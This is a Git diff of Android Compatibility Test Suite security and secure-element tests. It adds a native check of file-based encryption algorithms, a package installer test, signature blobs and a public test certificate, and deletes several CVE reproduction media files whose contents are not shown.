<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/tests/secure_element/access_control/AccessControlApp1/AndroidTest.xml b/tests/tests/secure_element/access_control/AccessControlApp1/AndroidTest.xml
index bff9d91..ea9476a 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp1/AndroidTest.xml
+++ b/tests/tests/secure_element/access_control/AccessControlApp1/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="config-descriptor:metadata" key="token" value="SECURE_ELEMENT_SIM_CARD" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true"/>
diff --git a/tests/tests/secure_element/access_control/AccessControlApp2/AndroidTest.xml b/tests/tests/secure_element/access_control/AccessControlApp2/AndroidTest.xml
index e6433f7..72c6240 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp2/AndroidTest.xml
+++ b/tests/tests/secure_element/access_control/AccessControlApp2/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="config-descriptor:metadata" key="token" value="SECURE_ELEMENT_SIM_CARD" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true"/>
diff --git a/tests/tests/secure_element/access_control/AccessControlApp3/AndroidTest.xml b/tests/tests/secure_element/access_control/AccessControlApp3/AndroidTest.xml
index 4cab33d..6ab45da 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp3/AndroidTest.xml
+++ b/tests/tests/secure_element/access_control/AccessControlApp3/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="config-descriptor:metadata" key="token" value="SECURE_ELEMENT_SIM_CARD" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true"/>
diff --git a/tests/tests/secure_element/omapi/AndroidTest.xml b/tests/tests/secure_element/omapi/AndroidTest.xml
index 0f18f70..26b5911 100644
--- a/tests/tests/secure_element/omapi/AndroidTest.xml
+++ b/tests/tests/secure_element/omapi/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="config-descriptor:metadata" key="token" value="SECURE_ELEMENT_SIM_CARD" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true"/>
diff --git a/tests/tests/secure_element/omapi/OWNERS b/tests/tests/secure_element/omapi/OWNERS
index fb599b2..853b7c3 100644
--- a/tests/tests/secure_element/omapi/OWNERS
+++ b/tests/tests/secure_element/omapi/OWNERS
@@ -1,3 +1,6 @@
# Bug component: 456592
-rmojumder@google.com
zachoverflow@google.com
+jackcwyu@google.com
+tokuda@google.com
+georgekgchang@google.com
+jimmychchang@google.com
diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp
index 5afe33c..ad92d02 100644
--- a/tests/tests/security/Android.bp
+++ b/tests/tests/security/Android.bp
@@ -22,6 +22,7 @@
"android-common",
"ctstestserver",
"ctstestrunner-axt",
+ "cts-install-lib",
"compatibility-device-util-axt",
"compatibility-common-util-devicesidelib",
"guava",
@@ -32,6 +33,9 @@
"org.apache.http.legacy",
"android.test.base.stubs",
],
+ java_resources: [
+ ":PackageInstallerTestApp",
+ ],
jni_libs: [
"libctssecurity_jni",
"libcts_jni",
@@ -59,4 +63,16 @@
"general-tests",
"sts",
],
+ certificate: ":security_cts_test_certificate",
}
+
+android_test_helper_app {
+ name: "PackageInstallerTestApp",
+ srcs: ["testdata/src/**/*.java"],
+ manifest: "testdata/packageinstallertestapp.xml",
+}
+
+android_app_certificate {
+ name: "security_cts_test_certificate",
+ certificate: "security_cts_test_cert",
+}
\ No newline at end of file
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 6eaaaa5..6c2ac74 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -88,6 +88,16 @@
<category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
</intent-filter>
</activity>
+
+ <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
+ android:exported="true" />
+ <receiver android:name="android.security.cts.PackageVerificationsBroadcastReceiver"
+ android:permission="android.permission.BIND_PACKAGE_VERIFIER" >
+ <intent-filter>
+ <action android:name="android.intent.action.PACKAGE_NEEDS_VERIFICATION"/>
+ <data android:mimeType="application/vnd.android.package-archive" />
+ </intent-filter>
+ </receiver>
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/security/OWNERS b/tests/tests/security/OWNERS
new file mode 100644
index 0000000..c5cfd1e
--- /dev/null
+++ b/tests/tests/security/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 36824
+cbrubaker@google.com
+jeffv@google.com
+nnk@google.com
diff --git a/tests/tests/security/native/encryption/Android.bp b/tests/tests/security/native/encryption/Android.bp
new file mode 100644
index 0000000..f07d905
--- /dev/null
+++ b/tests/tests/security/native/encryption/Android.bp
@@ -0,0 +1,25 @@
+cc_test {
+ name: "CtsNativeEncryptionTestCases",
+ cflags: [
+ "-Wall",
+ "-Werror",
+ ],
+ srcs: [
+ "FileBasedEncryptionPolicyTest.cpp",
+ ],
+ shared_libs: [
+ "libbase",
+ "libcutils",
+ ],
+ multilib: {
+ lib32: {
+ suffix: "32",
+ },
+ lib64: {
+ suffix: "64",
+ },
+ },
+ test_suites: [
+ "cts",
+ ],
+}
diff --git a/tests/tests/security/native/encryption/AndroidTest.xml b/tests/tests/security/native/encryption/AndroidTest.xml
new file mode 100644
index 0000000..b8788d6
--- /dev/null
+++ b/tests/tests/security/native/encryption/AndroidTest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Native Encryption test cases">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="security" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="cleanup" value="true" />
+ <option name="push" value="CtsNativeEncryptionTestCases->/data/local/tmp/CtsNativeEncryptionTestCases" />
+ <option name="append-bitness" value="true" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.GTest" >
+ <option name="native-test-device-path" value="/data/local/tmp" />
+ <option name="module-name" value="CtsNativeEncryptionTestCases" />
+ <option name="runtime-hint" value="5s" />
+ </test>
+</configuration>
diff --git a/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp b/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
new file mode 100644
index 0000000..7040d5e
--- /dev/null
+++ b/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
@@ -0,0 +1,267 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <fcntl.h>
+#include <linux/fs.h>
+#include <setjmp.h>
+#include <signal.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <unistd.h>
+
+#include <android-base/unique_fd.h>
+#include <cutils/properties.h>
+#include <gtest/gtest.h>
+
+// Define the latest fscrypt definitions if needed.
+// TODO: delete this once Bionic has updated its headers to Linux v5.4.
+#ifndef FS_IOC_GET_ENCRYPTION_POLICY_EX
+
+#define FSCRYPT_POLICY_FLAGS_PAD_4 0x00
+#define FSCRYPT_POLICY_FLAGS_PAD_8 0x01
+#define FSCRYPT_POLICY_FLAGS_PAD_16 0x02
+#define FSCRYPT_POLICY_FLAGS_PAD_32 0x03
+#define FSCRYPT_POLICY_FLAGS_PAD_MASK 0x03
+#define FSCRYPT_POLICY_FLAG_DIRECT_KEY 0x04
+
+#define FSCRYPT_MODE_AES_256_XTS 1
+#define FSCRYPT_MODE_AES_256_CTS 4
+#define FSCRYPT_MODE_AES_128_CBC 5
+#define FSCRYPT_MODE_AES_128_CTS 6
+#define FSCRYPT_MODE_ADIANTUM 9
+
+#define FSCRYPT_POLICY_V1 0
+#define FSCRYPT_KEY_DESCRIPTOR_SIZE 8
+struct fscrypt_policy_v1 {
+ __u8 version;
+ __u8 contents_encryption_mode;
+ __u8 filenames_encryption_mode;
+ __u8 flags;
+ __u8 master_key_descriptor[FSCRYPT_KEY_DESCRIPTOR_SIZE];
+};
+
+#define FSCRYPT_POLICY_V2 2
+#define FSCRYPT_KEY_IDENTIFIER_SIZE 16
+struct fscrypt_policy_v2 {
+ __u8 version;
+ __u8 contents_encryption_mode;
+ __u8 filenames_encryption_mode;
+ __u8 flags;
+ __u8 __reserved[4];
+ __u8 master_key_identifier[FSCRYPT_KEY_IDENTIFIER_SIZE];
+};
+
+#define FS_IOC_GET_ENCRYPTION_POLICY_EX _IOWR('f', 22, __u8[9])
+struct fscrypt_get_policy_ex_arg {
+ __u64 policy_size;
+ union {
+ __u8 version;
+ struct fscrypt_policy_v1 v1;
+ struct fscrypt_policy_v2 v2;
+ } policy;
+};
+#endif // FS_IOC_GET_ENCRYPTION_POLICY_EX
+
+// Non-upstream encryption modes that are used on some devices.
+#define FSCRYPT_MODE_AES_256_HEH 126
+#define FSCRYPT_MODE_PRIVATE 127
+
+// The relevant Android API levels
+#define Q_API_LEVEL 29
+
+static int getFirstApiLevel(void) {
+ int level = property_get_int32("ro.product.first_api_level", 0);
+ if (level == 0) {
+ level = property_get_int32("ro.build.version.sdk", 0);
+ }
+ if (level == 0) {
+ ADD_FAILURE() << "Failed to determine first API level";
+ }
+ return level;
+}
+
+#ifdef __arm__
+// For ARM32, assemble the 'aese.8' instruction as a .word, since otherwise
+// clang does not accept it. It would be allowed in a separate file compiled
+// with -march=armv8, but this way is much easier. And it's not yet possible to
+// use a target function attribute, because clang doesn't yet support
+// target("fpu=crypto-neon-fp-armv8") like gcc does.
+static void executeAESInstruction(void) {
+ // aese.8 q0, q1
+ asm volatile(".word 0xf3b00302" : : : "q0");
+}
+#elif defined(__aarch64__)
+static void __attribute__((target("crypto"))) executeAESInstruction(void) {
+ asm volatile("aese v0.16b, v1.16b" : : : "v0");
+}
+#elif defined(__i386__) || defined(__x86_64__)
+static void __attribute__((target("sse"))) executeAESInstruction(void) {
+ asm volatile("aesenc %%xmm1, %%xmm0" : : : "xmm0");
+}
+#else
+#warning "unknown architecture, assuming AES instructions are available"
+static void executeAESInstruction(void) {}
+#endif
+
+static jmp_buf jump_buf;
+
+static void handleSIGILL(int __attribute__((unused)) signum) {
+ longjmp(jump_buf, 1);
+}
+
+// This function checks for the presence of AES instructions, e.g. ARMv8 crypto
+// extensions for ARM, or AES-NI for x86.
+//
+// ARM processors don't have a standard way for user processes to determine CPU
+// features. On Linux it's possible to read the AT_HWCAP and AT_HWCAP2 values
+// from /proc/self/auxv. But, this relies on the kernel exposing the features
+// correctly, which we don't want to rely on. Instead we actually try to
+// execute the instruction, and see whether SIGILL is raised or not.
+//
+// To keep things consistent we use the same approach on x86 to detect AES-NI,
+// though in principle the 'cpuid' instruction could be used there.
+static bool cpuHasAESInstructions(void) {
+ struct sigaction act;
+ struct sigaction oldact;
+ bool result;
+
+ memset(&act, 0, sizeof(act));
+ act.sa_handler = handleSIGILL;
+
+ EXPECT_EQ(0, sigaction(SIGILL, &act, &oldact));
+
+ if (setjmp(jump_buf) != 0) {
+ // SIGILL was received when executing the AES instruction.
+ result = false;
+ } else {
+ executeAESInstruction();
+ // Successfully executed the AES instruction.
+ result = true;
+ }
+
+ EXPECT_EQ(0, sigaction(SIGILL, &oldact, NULL));
+
+ return result;
+}
+
+// CDD 9.9.3/C-1-5: must use AES-256-XTS or Adiantum contents encryption.
+// CDD 9.9.3/C-1-6: must use AES-256-CTS or Adiantum filenames encryption.
+// CDD 9.9.3/C-1-12: mustn't use Adiantum if the CPU has AES instructions.
+static void validateEncryptionModes(int contents_mode, int filenames_mode) {
+ switch (contents_mode) {
+ case FSCRYPT_MODE_AES_256_XTS:
+ case FSCRYPT_MODE_ADIANTUM:
+ // Many existing devices shipped with custom kernel patches implementing
+ // AES-256-XTS inline encryption behind "FSCRYPT_MODE_PRIVATE", so we
+ // need to let it pass. It's up to the vendor to ensure it's really
+ // AES-256-XTS.
+ case FSCRYPT_MODE_PRIVATE:
+ break;
+ default:
+ ADD_FAILURE() << "Contents encryption mode not allowed: " << contents_mode;
+ break;
+ }
+
+ switch (filenames_mode) {
+ case FSCRYPT_MODE_AES_256_CTS:
+ case FSCRYPT_MODE_ADIANTUM:
+ // At least one existing device shipped with the experimental
+ // AES-256-HEH filenames encryption, which was never added to the CDD.
+ // It's cryptographically superior to AES-256-CTS for the use case,
+ // though, so it's compliant in spirit; let it pass for now...
+ case FSCRYPT_MODE_AES_256_HEH:
+ break;
+ default:
+ ADD_FAILURE() << "Filenames encryption mode not allowed: " << filenames_mode;
+ break;
+ }
+
+ if (contents_mode == FSCRYPT_MODE_ADIANTUM || filenames_mode == FSCRYPT_MODE_ADIANTUM) {
+ // Adiantum encryption is only allowed if the CPU doesn't have AES instructions.
+ EXPECT_FALSE(cpuHasAESInstructions());
+ }
+}
+
+// We check the encryption policy of /data/local/tmp because it's one of the
+// only encrypted directories the shell domain has permission to open. Ideally
+// we'd check the user's credential-encrypted storage (/data/user/0) instead.
+// It shouldn't matter in practice though, since AOSP code doesn't provide any
+// way to configure different directories to use different algorithms...
+#define DIR_TO_CHECK "/data/local/tmp/"
+
+// Test that the device is using appropriate encryption algorithms for
+// file-based encryption. If this test fails, you should ensure the device's
+// fstab has the correct fileencryption= option for the userdata partition. See
+// https://source.android.com/security/encryption/file-based.html
+TEST(FileBasedEncryptionPolicyTest, allowedPolicy) {
+ int first_api_level = getFirstApiLevel();
+ struct fscrypt_get_policy_ex_arg arg;
+ int res;
+ int contents_mode;
+ int filenames_mode;
+
+ android::base::unique_fd fd(open(DIR_TO_CHECK, O_RDONLY | O_CLOEXEC));
+ if (fd < 0) {
+ FAIL() << "Failed to open " DIR_TO_CHECK ": " << strerror(errno);
+ }
+
+ GTEST_LOG_(INFO) << "First API level is " << first_api_level;
+
+ // Note: SELinux policy allows the shell domain to use these ioctls, but not
+ // apps. Therefore this test needs to be a real native test that's run
+ // through the shell, not a JNI test run through an installed APK.
+ arg.policy_size = sizeof(arg.policy);
+ res = ioctl(fd, FS_IOC_GET_ENCRYPTION_POLICY_EX, &arg);
+ if (res != 0 && errno == ENOTTY) {
+ // Handle old kernels that don't support FS_IOC_GET_ENCRYPTION_POLICY_EX
+ GTEST_LOG_(INFO) << "Old kernel, falling back to FS_IOC_GET_ENCRYPTION_POLICY";
+ res = ioctl(fd, FS_IOC_GET_ENCRYPTION_POLICY, &arg.policy.v1);
+ }
+ if (res != 0) {
+ if (errno == ENODATA || errno == ENOENT) { // Directory is unencrypted
+ // Starting with Android 10, file-based encryption is required on
+ // new devices [CDD 9.9.2/C-0-3].
+ if (first_api_level < Q_API_LEVEL) {
+ GTEST_LOG_(INFO)
+ << "Exempt from file-based encryption due to old starting API level";
+ return;
+ }
+ FAIL() << "Device isn't using file-based encryption";
+ } else {
+ FAIL() << "Failed to get encryption policy of " DIR_TO_CHECK ": " << strerror(errno);
+ }
+ }
+
+ switch (arg.policy.version) {
+ case FSCRYPT_POLICY_V1:
+ GTEST_LOG_(INFO) << "Detected v1 encryption policy";
+ contents_mode = arg.policy.v1.contents_encryption_mode;
+ filenames_mode = arg.policy.v1.filenames_encryption_mode;
+ break;
+ case FSCRYPT_POLICY_V2:
+ GTEST_LOG_(INFO) << "Detected v2 encryption policy";
+ contents_mode = arg.policy.v2.contents_encryption_mode;
+ filenames_mode = arg.policy.v2.filenames_encryption_mode;
+ break;
+ default:
+ FAIL() << "Unknown encryption policy version: " << arg.policy.version;
+ }
+
+ GTEST_LOG_(INFO) << "Contents encryption mode: " << contents_mode;
+ GTEST_LOG_(INFO) << "Filenames encryption mode: " << filenames_mode;
+
+ validateEncryptionModes(contents_mode, filenames_mode);
+}
diff --git a/tests/tests/security/res/raw/cve_2017_13204_avc.mp4 b/tests/tests/security/res/raw/cve_2017_13204_avc.mp4
deleted file mode 100644
index a627ec6..0000000
--- a/tests/tests/security/res/raw/cve_2017_13204_avc.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_13204_framelen.mp4 b/tests/tests/security/res/raw/cve_2017_13204_framelen.mp4
deleted file mode 100644
index 5fc9458..0000000
--- a/tests/tests/security/res/raw/cve_2017_13204_framelen.mp4
+++ /dev/null
@@ -1,98 +0,0 @@
-22
-130
-83
-102
-85
-97
-73
-86
-79
-80
-69
-80
-78
-82
-81
-77
-65
-85
-83
-91
-72
-88
-74
-87
-72
-66
-66
-77
-74
-94
-66
-59
-59
-70
-64
-76
-59
-88
-59
-83
-75
-72
-72
-92
-83
-77
-52
-66
-57
-57
-58
-91
-69
-86
-67
-63
-68
-89
-73
-72
-69
-58
-65
-79
-82
-0
-239
-189
-168
-151
-137
-142
-156
-127
-149
-157
-152
-151
-113
-133
-158
-104
-114
-138
-144
-147
-126
-157
-132
-107
-100
-165
-154
-112
-164
-131
-111
-143
\ No newline at end of file
diff --git a/tests/tests/security/res/raw/cve_2019_2322.mkv b/tests/tests/security/res/raw/cve_2019_2322.mkv
deleted file mode 100644
index 8431f98..0000000
--- a/tests/tests/security/res/raw/cve_2019_2322.mkv
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2334.mkv b/tests/tests/security/res/raw/cve_2019_2334.mkv
deleted file mode 100644
index 7385338..0000000
--- a/tests/tests/security/res/raw/cve_2019_2334.mkv
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_conscrypt.bin b/tests/tests/security/res/raw/sig_com_android_conscrypt.bin
new file mode 100644
index 0000000..67e87a1
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_conscrypt.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_media.bin b/tests/tests/security/res/raw/sig_com_android_media.bin
new file mode 100644
index 0000000..d33cb3f
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_media.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_media_swcodec.bin b/tests/tests/security/res/raw/sig_com_android_media_swcodec.bin
new file mode 100644
index 0000000..8c663d4
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_media_swcodec.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_resolv.bin b/tests/tests/security/res/raw/sig_com_android_resolv.bin
new file mode 100644
index 0000000..cae337e
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_resolv.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_runtime_debug.bin b/tests/tests/security/res/raw/sig_com_android_runtime_debug.bin
new file mode 100644
index 0000000..8248649
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_runtime_debug.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_runtime_release.bin b/tests/tests/security/res/raw/sig_com_android_runtime_release.bin
new file mode 100644
index 0000000..55640d7
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_runtime_release.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_tzdata.bin b/tests/tests/security/res/raw/sig_com_android_tzdata.bin
new file mode 100644
index 0000000..f4339e6
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_tzdata.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_conscrypt.bin b/tests/tests/security/res/raw/sig_com_google_android_conscrypt.bin
new file mode 100644
index 0000000..e27820f
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_google_android_conscrypt.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_media.bin b/tests/tests/security/res/raw/sig_com_google_android_media.bin
new file mode 100644
index 0000000..1259311
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_google_android_media.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_media_swcodec.bin b/tests/tests/security/res/raw/sig_com_google_android_media_swcodec.bin
new file mode 100644
index 0000000..0e72db7
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_google_android_media_swcodec.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_resolv.bin b/tests/tests/security/res/raw/sig_com_google_android_resolv.bin
new file mode 100644
index 0000000..f5de871
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_google_android_resolv.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_runtime_debug.bin b/tests/tests/security/res/raw/sig_com_google_android_runtime_debug.bin
new file mode 100644
index 0000000..e28c489
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_google_android_runtime_debug.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_runtime_release.bin b/tests/tests/security/res/raw/sig_com_google_android_runtime_release.bin
new file mode 100644
index 0000000..96c192c
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_google_android_runtime_release.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_tzdata.bin b/tests/tests/security/res/raw/sig_com_google_android_tzdata.bin
new file mode 100644
index 0000000..abcc35f
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_google_android_tzdata.bin
Binary files differ
diff --git a/tests/tests/security/security_cts_test_cert.pk8 b/tests/tests/security/security_cts_test_cert.pk8
new file mode 100644
index 0000000..320e18d
--- /dev/null
+++ b/tests/tests/security/security_cts_test_cert.pk8
Binary files differ
diff --git a/tests/tests/security/security_cts_test_cert.x509.pem b/tests/tests/security/security_cts_test_cert.x509.pem
new file mode 100644
index 0000000..fd10e48
--- /dev/null
+++ b/tests/tests/security/security_cts_test_cert.x509.pem
@@ -0,0 +1,24 @@
+-----BEGIN CERTIFICATE-----
+MIIECzCCAvOgAwIBAgIUBCvKStYix70zHFiAKnzigdwl2z4wDQYJKoZIhvcNAQEL
+BQAwgZQxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApDYWxpZm9ybmlhMRYwFAYDVQQH
+DA1Nb3VudGFpbiBWaWV3MRAwDgYDVQQKDAdBbmRyb2lkMRAwDgYDVQQLDAdBbmRy
+b2lkMRAwDgYDVQQDDAdBbmRyb2lkMSIwIAYJKoZIhvcNAQkBFhNhbmRyb2lkQGFu
+ZHJvaWQuY29tMB4XDTE5MDgxOTIxMzcwM1oXDTQ3MDEwNDIxMzcwM1owgZQxCzAJ
+BgNVBAYTAlVTMRMwEQYDVQQIDApDYWxpZm9ybmlhMRYwFAYDVQQHDA1Nb3VudGFp
+biBWaWV3MRAwDgYDVQQKDAdBbmRyb2lkMRAwDgYDVQQLDAdBbmRyb2lkMRAwDgYD
+VQQDDAdBbmRyb2lkMSIwIAYJKoZIhvcNAQkBFhNhbmRyb2lkQGFuZHJvaWQuY29t
+MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3rB8dYLa9mhYe9GICodU
+FVdjzh00SsfzpdMZ4UGIGF6VY/7D/TCdT5vjdXOdOQtsQnM/nZSgUPgBVX8RObm4
+/PRix68rdl2J58/LstcqdG6EaExb5hPUzHUuvOfd+p+IP+0SFEuRrWeGsmkzvdnx
+C2ZZjzEpE8UNDS8EtC2qULkF0cAGcHdHsjlktXRvn4FO+RN1GW6yxs8mOyCabNHA
+Se3AynYFa894Iamu99+RK51+3iyw+u4cVUeVPH3CzJ2Pu1PyqT+9l4gKUbw0gfC6
+D0/PNEfxe4RPrtn3Z8+ES8+jXPjBLLaMTpT9dFcP25kBwNLiV0MJdTOdZ3f30urt
+JQIDAQABo1MwUTAdBgNVHQ4EFgQUHUCJ6l5sn0M96xgIXBkY7dvm86MwHwYDVR0j
+BBgwFoAUHUCJ6l5sn0M96xgIXBkY7dvm86MwDwYDVR0TAQH/BAUwAwEB/zANBgkq
+hkiG9w0BAQsFAAOCAQEAAXpJFK3Lp6HuEeSkV60YUH7KKFf9FCfIlszxAcnPb7Pu
+8LX8pI59jYXUxp6ig2IRP/3jXWyf5mFyXcfPTES9Xi1yruV/hQ3KvvhrC2FSqF99
+AXPB31NiXxyw554iPGGLqRsxLb1aeRgofiGLG6CE+16RIPX54pDS6Y+MDJ7iaRsG
+L5qPP3JyQ5b3KBHFXE9GHJFEha2mrLThv1V6740ueErt2jkP95BnELmFwo+RH4ha
+sUOe79aEbq4ERKrmKf5vZ4GGS3vHQ6MSk53qeDFrla/05pZRfzUvwu88cLs0EjSI
+o36G2JpHHjd58pH7m4xeqcBX5eUKay/EfoYef4AopA==
+-----END CERTIFICATE-----
diff --git a/tests/tests/security/src/android/security/cts/ARTBootASLRTest.java b/tests/tests/security/src/android/security/cts/ARTBootASLRTest.java
index f661549..f085f20 100644
--- a/tests/tests/security/src/android/security/cts/ARTBootASLRTest.java
+++ b/tests/tests/security/src/android/security/cts/ARTBootASLRTest.java
@@ -38,10 +38,12 @@
String line;
boolean foundBootART = false;
while ((line = bufReader.readLine()) != null) {
- // Check that we don't have /system/.*boot.art
- if (line.matches("/system/.*boot\\.art")) {
- fail("found " + line + " from system partition");
- } else if (line.matches(".*boot\\.art")) {
+ // Check that we have a data or extracted boot image.
+ // There should still be a system boot image mapping that contains only the image
+ // bitmap.
+ if (line.matches("(.*) \\[anon:dalvik(.*)boot\\.art\\]?")) {
+ foundBootART = true;
+ } else if (line.matches("(.*) /data/dalvik-cache/(.*)boot\\.art")) {
foundBootART = true;
}
}
diff --git a/tests/tests/security/src/android/security/cts/EncryptionTest.java b/tests/tests/security/src/android/security/cts/EncryptionTest.java
index a53106c..15a7081 100644
--- a/tests/tests/security/src/android/security/cts/EncryptionTest.java
+++ b/tests/tests/security/src/android/security/cts/EncryptionTest.java
@@ -65,10 +65,10 @@
private void handleEncryptedDevice() {
if ("file".equals(PropertyUtil.getProperty("ro.crypto.type"))) {
Log.d(TAG, "Device is encrypted with file-based encryption.");
- // TODO(b/111311698): If we're able to determine if the hardware
- // has AES instructions, confirm that AES, and only AES,
- // is in use. If the hardware does not have AES instructions,
- // confirm that either AES or Adiantum is in use.
+ // Note: this test doesn't check whether the requirements for
+ // encryption algorithms are met, since apps don't have a way to
+ // query this information. Instead, it's tested in
+ // CtsNativeEncryptionTestCases.
return;
}
if (PropertyUtil.getFirstApiLevel() < MIN_FBE_REQUIRED_API_LEVEL) {
diff --git a/tests/tests/security/src/android/security/cts/PackageInstallerTest.java b/tests/tests/security/src/android/security/cts/PackageInstallerTest.java
new file mode 100644
index 0000000..b87b36b
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/PackageInstallerTest.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.Manifest;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.SecurityTest;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.TestApp;
+import com.android.cts.install.lib.Uninstall;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.util.concurrent.TimeUnit;
+
+@RunWith(JUnit4.class)
+@SecurityTest
+@AppModeFull
+public class PackageInstallerTest {
+
+ private static final String TEST_APP_NAME = "android.security.cts.packageinstallertestapp";
+
+ private static final TestApp TEST_APP = new TestApp(
+ "PackageInstallerTestApp", TEST_APP_NAME, 1, /*isApex*/ false,
+ "PackageInstallerTestApp.apk");
+
+ @Before
+ public void setUp() {
